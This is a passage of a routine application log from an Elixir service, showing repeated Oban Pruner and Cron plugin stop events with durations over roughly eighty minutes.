{"source":"oban","duration":787,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:25:45.436 [info] {"source":"oban","duration":675,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:26:00.905 [info] {"source":"oban","duration":208,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:26:15.437 [info] {"source":"oban","duration":678,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:26:45.438 [info] {"source":"oban","duration":692,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:27:00.906 [info] {"source":"oban","duration":188,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:27:15.439 [info] {"source":"oban","duration":652,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:27:45.440 [info] {"source":"oban","duration":593,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:28:00.907 [info] {"source":"oban","duration":190,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:28:15.441 [info] {"source":"oban","duration":613,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:28:45.442 [info] {"source":"oban","duration":658,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:29:00.908 [info] {"source":"oban","duration":241,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:29:15.443 [info] {"source":"oban","duration":882,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:29:45.445 [info] {"source":"oban","duration":629,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:30:00.909 [info] {"source":"oban","duration":230,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:30:15.446 [info] {"source":"oban","duration":658,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:30:45.447 [info] {"source":"oban","duration":619,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:31:00.910 [info] {"source":"oban","duration":220,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:31:15.448 [info] {"source":"oban","duration":656,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:31:45.449 [info] {"source":"oban","duration":675,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:32:00.911 [info] {"source":"oban","duration":182,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:32:15.450 [info] {"source":"oban","duration":612,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:32:45.451 [info] {"source":"oban","duration":662,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:33:00.913 [info] {"source":"oban","duration":345,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:33:15.452 [info] {"source":"oban","duration":731,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:33:45.453 [info] {"source":"oban","duration":674,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:34:00.913 [info] {"source":"oban","duration":229,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:34:15.454 [info] {"source":"oban","duration":795,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:34:45.456 [info] {"source":"oban","duration":772,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:35:00.914 [info] {"source":"oban","duration":274,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:35:15.457 [info] {"source":"oban","duration":622,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:35:45.458 [info] {"source":"oban","duration":666,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:36:00.915 [info] {"source":"oban","duration":238,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:36:15.459 [info] {"source":"oban","duration":648,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:36:45.460 [info] {"source":"oban","duration":530,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:37:00.916 [info] {"source":"oban","duration":172,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:37:15.460 [info] {"source":"oban","duration":439,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:37:45.462 [info] {"source":"oban","duration":631,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:38:00.917 [info] {"source":"oban","duration":303,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:38:15.463 [info] {"source":"oban","duration":656,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:38:45.464 [info] {"source":"oban","duration":591,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:39:00.918 [info] {"source":"oban","duration":212,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:39:15.465 [info] {"source":"oban","duration":623,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:39:45.466 [info] {"source":"oban","duration":734,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:40:00.919 [info] {"source":"oban","duration":225,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:40:15.468 [info] {"source":"oban","duration":715,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:40:45.469 [info] {"source":"oban","duration":777,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:41:00.920 [info] {"source":"oban","duration":230,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:41:15.471 [info] {"source":"oban","duration":641,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:41:45.472 [info] {"source":"oban","duration":677,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:42:00.921 [info] {"source":"oban","duration":281,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:42:15.473 [info] {"source":"oban","duration":653,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:42:45.474 [info] {"source":"oban","duration":675,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:43:00.922 [info] {"source":"oban","duration":155,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:43:15.475 [info] {"source":"oban","duration":856,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:43:45.477 [info] {"source":"oban","duration":663,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:44:00.923 [info] {"source":"oban","duration":175,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:44:15.478 [info] {"source":"oban","duration":668,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:44:45.479 [info] {"source":"oban","duration":621,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:45:00.925 [info] {"source":"oban","duration":367,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:45:15.480 [info] {"source":"oban","duration":713,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:45:45.481 [info] {"source":"oban","duration":811,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:46:00.925 [info] {"source":"oban","duration":220,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:46:15.483 [info] {"source":"oban","duration":661,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:46:45.484 [info] {"source":"oban","duration":719,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:47:00.926 [info] {"source":"oban","duration":210,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:47:15.485 [info] {"source":"oban","duration":630,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:47:45.486 [info] {"source":"oban","duration":723,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:48:00.927 [info] {"source":"oban","duration":220,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:48:15.487 [info] {"source":"oban","duration":730,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:48:45.488 [info] {"source":"oban","duration":761,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:49:00.928 [info] {"source":"oban","duration":276,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:49:15.489 [info] {"source":"oban","duration":685,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:49:45.490 [info] {"source":"oban","duration":663,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:50:00.929 [info] {"source":"oban","duration":183,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:50:15.491 [info] {"source":"oban","duration":628,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:50:45.492 [info] {"source":"oban","duration":682,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:51:00.930 [info] {"source":"oban","duration":173,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:51:15.493 [info] {"source":"oban","duration":624,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:51:45.494 [info] {"source":"oban","duration":651,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:52:00.931 [info] {"source":"oban","duration":184,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:52:15.495 [info] {"source":"oban","duration":618,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:52:45.496 [info] {"source":"oban","duration":588,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:53:00.932 [info] {"source":"oban","duration":227,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:53:15.496 [info] {"source":"oban","duration":491,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:53:45.498 [info] {"source":"oban","duration":621,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:54:00.933 [info] {"source":"oban","duration":181,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:54:15.499 [info] {"source":"oban","duration":686,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:54:45.500 [info] {"source":"oban","duration":689,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:55:00.934 [info] {"source":"oban","duration":189,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:55:15.501 [info] {"source":"oban","duration":684,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:55:45.502 [info] {"source":"oban","duration":757,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:56:00.935 [info] {"source":"oban","duration":176,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:56:15.503 [info] {"source":"oban","duration":672,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:56:45.504 [info] {"source":"oban","duration":682,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:57:00.936 [info] {"source":"oban","duration":173,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:57:15.505 [info] {"source":"oban","duration":698,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:57:45.506 [info] {"source":"oban","duration":723,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:58:00.937 [info] {"source":"oban","duration":279,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:58:15.508 [info] {"source":"oban","duration":654,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:58:45.509 [info] {"source":"oban","duration":687,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:59:00.938 [info] {"source":"oban","duration":211,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:59:15.510 [info] {"source":"oban","duration":589,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:59:45.511 [info] {"source":"oban","duration":676,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:00:00.939 [info] {"source":"oban","duration":224,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:00:15.512 [info] {"source":"oban","duration":674,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:00:45.513 [info] {"source":"oban","duration":660,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:01:00.941 [info] {"source":"oban","duration":381,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:01:15.514 [info] {"source":"oban","duration":612,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:01:45.515 [info] {"source":"oban","duration":673,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:02:00.941 [info] {"source":"oban","duration":185,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:02:15.516 [info] {"source":"oban","duration":672,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:02:45.517 [info] {"source":"oban","duration":807,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:03:00.942 [info] {"source":"oban","duration":233,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:03:15.519 [info] {"source":"oban","duration":680,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:03:45.520 [info] {"source":"oban","duration":664,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:04:00.943 [info] {"source":"oban","duration":219,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:04:15.521 [info] {"source":"oban","duration":659,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:04:45.522 [info] {"source":"oban","duration":708,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:05:00.944 [info] {"source":"oban","duration":198,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:05:15.523 [info] {"source":"oban","duration":745,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:05:45.524 [info] {"source":"oban","duration":675,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:06:00.945 [info] {"source":"oban","duration":285,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:06:15.525 [info] {"source":"oban","duration":671,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:06:45.526 [info] {"source":"oban","duration":753,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:07:00.946 [info] {"source":"oban","duration":161,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:07:15.527 [info] {"source":"oban","duration":673,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:07:45.528 [info] {"source":"oban","duration":656,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:08:00.947 [info] {"source":"oban","duration":201,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:08:15.529 [info] {"source":"oban","duration":624,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:08:45.530 [info] {"source":"oban","duration":605,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:09:00.948 [info] {"source":"oban","duration":243,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:09:15.530 [info] {"source":"oban","duration":505,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:09:45.531 [info] {"source":"oban","duration":386,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:10:00.949 [info] {"source":"oban","duration":167,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:10:15.533 [info] {"source":"oban","duration":655,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:10:45.534 [info] {"source":"oban","duration":712,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:11:00.950 [info] {"source":"oban","duration":176,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:11:15.535 [info] {"source":"oban","duration":671,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:11:45.536 [info] {"source":"oban","duration":654,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:12:00.951 [info] {"source":"oban","duration":210,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:12:15.537 [info] {"source":"oban","duration":655,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:12:45.538 [info] {"source":"oban","duration":736,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:13:00.953 [info] {"source":"oban","duration":355,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:13:15.539 [info] {"source":"oban","duration":669,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:13:45.540 [info] {"source":"oban","duration":671,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:14:00.953 [info] {"source":"oban","duration":175,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:14:15.541 [info] {"source":"oban","duration":748,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:14:45.542 [info] {"source":"oban","duration":681,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:15:00.954 [info] {"source":"oban","duration":194,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:15:15.543 [info] {"source":"oban","duration":645,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:15:45.544 [info] {"source":"oban","duration":690,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:16:00.955 [info] {"source":"oban","duration":194,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:16:15.545 [info] {"source":"oban","duration":672,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:16:45.546 [info] {"source":"oban","duration":617,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:17:00.956 [info] {"source":"oban","duration":222,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:17:15.547 [info] {"source":"oban","duration":700,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:17:45.548 [info] {"source":"oban","duration":659,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:18:00.957 [info] {"source":"oban","duration":209,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:18:15.549 [info] {"source":"oban","duration":677,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:18:45.550 [info] {"source":"oban","duration":683,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:19:00.958 [info] {"source":"oban","duration":214,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:19:15.552 [info] {"source":"oban","duration":696,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:19:45.553 [info] {"source":"oban","duration":671,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:20:00.959 [info] {"source":"oban","duration":268,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:20:15.554 [info] {"source":"oban","duration":722,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:20:45.555 [info] {"source":"oban","duration":671,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:21:00.960 [info] {"source":"oban","duration":244,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:21:15.556 [info] {"source":"oban","duration":693,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:21:45.557 [info] {"source":"oban","duration":927,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:22:00.961 [info] {"source":"oban","duration":177,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:22:15.559 [info] {"source":"oban","duration":798,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:22:45.561 [info] {"source":"oban","duration":1040,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:23:00.962 [info] {"source":"oban","duration":223,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:23:15.563 [info] {"source":"oban","duration":779,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:23:45.565 [info] {"source":"oban","duration":729,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:24:00.963 [info] {"source":"oban","duration":239,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:24:15.566 [info] {"source":"oban","duration":641,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:24:45.567 [info] {"source":"oban","duration":649,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:25:00.964 [info] {"source":"oban","duration":253,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:25:15.568 [info] {"source":"oban","duration":602,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:25:45.569 [info] {"source":"oban","duration":841,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:26:00.965 [info] {"source":"oban","duration":187,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:26:15.571 [info] {"source":"oban","duration":648,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:26:45.572 [info] {"source":"oban","duration":720,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:27:00.966 [info] {"source":"oban","duration":174,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:27:15.573 [info] {"source":"oban","duration":675,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:27:45.574 [info] {"source":"oban","duration":679,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:28:00.967 [info] {"source":"oban","duration":251,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:28:15.575 [info] {"source":"oban","duration":715,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:28:45.576 [info] {"source":"oban","duration":676,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:29:00.968 [info] {"source":"oban","duration":211,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:29:15.577 [info] {"source":"oban","duration":744,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:29:45.578 [info] {"source":"oban","duration":711,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:30:00.969 [info] {"source":"oban","duration":171,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:30:15.579 [info] {"source":"oban","duration":725,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:30:45.580 [info] {"source":"oban","duration":700,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:31:00.970 [info] {"source":"oban","duration":218,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:31:15.581 [info] {"source":"oban","duration":759,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:31:45.582 [info] {"source":"oban","duration":738,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:32:00.971 [info] {"source":"oban","duration":186,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:32:15.583 [info] {"source":"oban","duration":749,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:32:45.584 [info] {"source":"oban","duration":779,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:33:00.972 [info] {"source":"oban","duration":354,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:33:15.586 [info] {"source":"oban","duration":657,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:33:45.587 [info] {"source":"oban","duration":673,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:34:00.973 [info] {"source":"oban","duration":234,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:34:15.588 [info] {"source":"oban","duration":716,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:34:45.589 [info] {"source":"oban","duration":671,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:35:00.974 [info] {"source":"oban","duration":167,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:35:15.590 [info] {"source":"oban","duration":666,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:35:45.591 [info] {"source":"oban","duration":669,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:36:00.975 [info] {"source":"oban","duration":243,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:36:15.592 [info] {"source":"oban","duration":690,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:36:45.593 [info] {"source":"oban","duration":640,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:37:00.976 [info] {"source":"oban","duration":249,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:37:15.594 [info] {"source":"oban","duration":680,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:37:45.595 [info] {"source":"oban","duration":646,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:38:00.977 [info] {"source":"oban","duration":287,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:38:15.596 [info] {"source":"oban","duration":766,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:38:45.597 [info] {"source":"oban","duration":729,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:39:00.978 [info] {"source":"oban","duration":227,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:39:15.598 [info] {"source":"oban","duration":711,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:39:45.599 [info] {"source":"oban","duration":658,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:40:00.979 [info] {"source":"oban","duration":214,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:40:15.600 [info] {"source":"oban","duration":770,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:40:45.601 [info] {"source":"oban","duration":706,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:41:00.980 [info] {"source":"oban","duration":176,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:41:15.602 [info] {"source":"oban","duration":574,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:41:45.603 [info] {"source":"oban","duration":722,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:42:00.981 [info] {"source":"oban","duration":180,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:42:15.604 [info] {"source":"oban","duration":796,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:42:45.606 [info] {"source":"oban","duration":676,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:43:00.982 [info] {"source":"oban","duration":241,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:43:15.607 [info] {"source":"oban","duration":828,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:43:45.609 [info] {"source":"oban","duration":701,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:44:00.983 [info] {"source":"oban","duration":236,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:44:15.610 [info] {"source":"oban","duration":622,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:44:45.611 [info] {"source":"oban","duration":732,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:45:00.984 [info] 